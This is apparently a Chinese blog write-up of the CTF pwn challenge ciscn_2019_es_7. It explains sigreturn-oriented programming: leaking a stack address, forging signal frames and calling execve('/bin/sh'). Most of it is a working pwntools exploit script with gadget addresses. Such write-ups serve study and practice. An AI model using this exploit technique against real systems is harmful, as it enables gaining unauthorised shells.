BUU-ciscn_2019_es_7-WP

Posted on Nov 28, 2020

这是一道国赛题,当然做之前我还不知道,到了我发现我不会做的时候才知道..这也是我做的第一道srop,虽然wp发的是三道里面最晚的,做完rootersctf_2019_srop这题我才能说我真正理解了。

本题知识点——SROP——被ctfwiki归类为高级rop,这道算是相对简单的srop。

关闭了canary和pie。

和一般的程序不同,此题的read和write是通过syscall(系统调用)来实现的而不是使用glibc包装的read和write,程序中难以寻找别的gadgets,而存在syscall,就可以考虑使用srop技术。

由于有read的系统调用(xor rax, rax把rax置零,零即代表sys_read),并且可以输入整整0x400个字节,我们可以完全伪造Signal Frame,同时程序中存在signal return的gadgets,这样我们就可以使用我们伪造的signal frame来控制寄存器,而传入/bin/sh我们可以通过直接输入并将其地址传入来实现。那么现在我们只需要做到泄露栈地址就可以了。这个实际上紧随sys_read的sys_write就直接泄露了,栈帧只有16+8+8的大小,而write输出0x30=48个字节,直接就把main压入的rbp泄露了出来。这样我们就获得了main的栈底的地址。

所以可以这样处理

from pwn import *                                                                  
                                                                                   
context(log_level = 'debug',arch = 'amd64',os = 'linux')                           
                                                                                   
mov_rax_sigreturn = 0x4004DA                                                       
read_addr = 0x4004F1                                                               
syscall_ret = 0x400517                                                             
                                                                                   
sh = process("./ciscn_2019_es_7")                                                  
#sh = remote("node3.buuoj.cn","26929")                                             
                                                                                   
payload = 'a'*0x10 + p64(read_addr)                                                
sh.send(payload)                                                                   
                                                                                   
stack_addr = u64(sh.recv()[32:40])                                                 
print hex(stack_addr)                                                              
                                                                                   
sigframe = SigreturnFrame()                                                        
sigframe.rax = constants.SYS_read                                                  
sigframe.rdx = 0x1000                                                              
sigframe.rsi = stack_addr                                                          
sigframe.rdi = 0                                                                   
sigframe.rsp = stack_addr                                                          
sigframe.rip = syscall_ret                                                         
                                                                                   
payload = 'a'*0x10 + p64(mov_rax_sigreturn) + p64(syscall_ret) + str(sigframe)     
sh.send(payload)                                                                   
sleep(0.3)                                                                         
                                                                                   
sigframe = SigreturnFrame()                                                        
sigframe.rax = constants.SYS_execve                                                
sigframe.rsi = 0                                                                   
sigframe.rdx = 0                                                                   
sigframe.rsp = stack_addr                                                          
sigframe.rip = syscall_ret                                                         
sigframe.rdi = stack_addr + 0x150                                                  
                                                                                   
payload = (p64(mov_rax_sigreturn) + p64(syscall_ret) + str(sigframe)).ljust(0x150,'a') 
payload += "/bin/sh\x00"                                                           
sh.send(payload)                                                                   
                                                                                   
sh.interactive()                                                                       

至此我正式完成srop三剑客(ciscn_2019_es_7,360chunqiu2017_smallest,rootersctf_2019_srop)的pwn和wp。